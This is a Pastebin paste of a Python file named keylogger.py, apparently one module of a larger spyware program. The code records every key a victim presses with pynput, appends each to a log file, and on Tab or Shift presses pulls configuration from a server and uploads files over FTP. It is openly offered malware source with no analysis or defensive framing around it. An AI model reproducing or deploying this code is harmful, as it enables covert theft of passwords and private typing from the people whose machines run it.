Advertisement
FlyFar

keylogger.py

Aug 10th, 2023
841
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.88 KB | Cybersecurity | 0 0
  1. import shutil
  2. from pynput.keyboard import Key, Listener
  3. from threading import Thread
  4. from Util import Util
  5.  
  6.  
  7. class Keylogger(Thread):
  8.  
  9.     def __init__(self, config, communication):
  10.         Thread.__init__(self, name='keylogging')
  11.         self.__config = config
  12.         self.__communication = communication
  13.  
  14.  
  15.  
  16.     def onPress(self, key):
  17.         if self.__config.debug:
  18.             print(key, end='')
  19.         try:
  20.             if key == Key.tab:
  21.                 self.__communication.getConfigFromServer()
  22.             elif key == Key.shift:
  23.                 self.__communication.uploadFilesFTP()
  24.         except Exception:
  25.             pass
  26.         Util.fileOut(self.__config.logPath + self.__config.logFileName, key)
  27.  
  28.  
  29.  
  30.     def run(self):
  31.         with Listener(on_press=self.onPress) as listener:
  32.             if self.__config.keyloggingIsActive:
  33.                 listener.join()
Tags: Keylogger
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement